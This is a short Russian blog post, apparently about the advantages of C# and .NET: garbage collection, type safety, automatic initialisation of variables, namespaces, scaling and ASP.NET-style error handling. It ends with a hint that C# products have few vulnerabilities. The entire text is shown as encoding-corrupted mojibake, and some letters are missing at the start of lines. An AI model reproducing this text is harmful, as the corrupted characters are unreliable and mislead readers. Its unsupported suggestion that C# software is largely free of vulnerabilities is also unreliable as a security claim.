Ïîìèìî ñáîðùèêà ìóñîðà è áåçîïàñíîñòè ðàáîòû ñ òèïàìè äëÿ èçáåæàíèÿ îøèáîê â ÿçûêå òàêæå ïðèìåíÿåòñÿ àâòîìàòè÷åñêàÿ èíèöèàëèçàöèÿ ïåðåìåííûõ. Âñå òèïû, êîòîðûå ðàçìåùàþòñÿ â ñòåêå (value types, ê êîòîðûì îòíîñÿòñÿ ïðèìèòèâíûå òèïû, ñòðóêòóðû è ïðî÷èå íàñëåäíèêè êëàññà ValueType) èíèöèàëèçèðóþòñÿ íóëÿìè. Îáúåêòû îñòàëüíûõ òèïîâ ðàçìåùàþòñÿ â êó÷å, äîñòóï ê íèì îñóùåñòâëÿåòñÿ ïî îáúåêòíîé ññûëêå, è ññûëêè ýòè èíèöèàëèçèðóþòñÿ â çíà÷åíèå null (êîòîðàÿ ãîâîðèò, ÷òî äàííàÿ ññûëêà íå èìååò àññîöèèðîâàííîãî îáúåêòà â êó÷å).
 C# ïðåäñòàâëåíà êîíöåïöèÿ ïðîñòðàíñòâ èìåí, àíàëîãè÷íàÿ ïàêåòàì â Java. Ýòî ïîçâîëÿåò èåðàðõè÷åñêè ñòðóêòóðèðîâàòü Âàøó ñèñòåìó òèïîâ, äåëàÿ êîä íàìíîãî áîëåå ïîíÿòíûì è ïîçâîëÿÿ èçáåæàòü ïðîáëåì ñ èìåíîâàíèåì. Âû ìîæåòå ðàññìàòðèâàòü ïðîñòðàíñòâà èìåí êàê äèðåêòîðèè, à ÿçûêîâûå òèïû êàê ôàéëû â ýòèõ äèðåêòîðèÿõ.
Âîçìîæíîñòè ðàñøèðåíèÿ ðåøåíèÿ
Âêëþ÷åíà ïîääåðæêà ìóëüòèïðîöåññîðíûõ è êëàñòåðíûõ ðåøåíèé. ×òî ïîçâîëÿåò ïðè íàïèñàíèè ïðèëîæåíèÿ, ðàññ÷èòûâàòü íà òî, ÷òî ñèñòåìó ìîæíî áóäåò áåç òðóäà ðàñøèðÿòü.
Îáðàáîòêà îøèáîê.
 ñâÿçè ñ íîâûìè êîíöåïöèÿìè (â ÷àñòíîñòè, ñ êîìïèëÿöèåé ïðîãðàììíûõ òåêñòîâ) äîáàâëåíû íîâûå âîçìîæíîñòè ïî îáðàáîòêå îøèáîê. Íà ñòàäèè ðàçðàáîòêè ìîæíî ïîëó÷èòü ïîëíóþ èíôîðìàöèþ îá îøèáêå è ëèñòèíã íóæíîãî êóñêà êîäà. Äëÿ îáðàáîòêè îøèáîê, êîòîðûå ìîãóò ñëó÷èòüñÿ âî âðåìÿ âûïîëíåíèÿ âàøåãî ïðèëîæåíèÿ âû ìîæåòå èñïîëüçîâàòü íîâóþ äèðåêòèâó ErrorPage.
È ñàìîå ãëàâíîå, ìíîãî ëè âû âèäåëè èíôîðìàöèè îá óÿçâèìîñòÿõ, íàéäåííûõ â ïðîäóêòàõ, íàïèñàííûõ íà C#?
| Ðóáðèêè: | Ñîçäàíèå ñàéòà |
| Êîììåíòèðîâàòü | « Ïðåä. çàïèñü — Ê äíåâíèêó — Ñëåä. çàïèñü » | Ñòðàíèöû: [1] [Íîâûå] |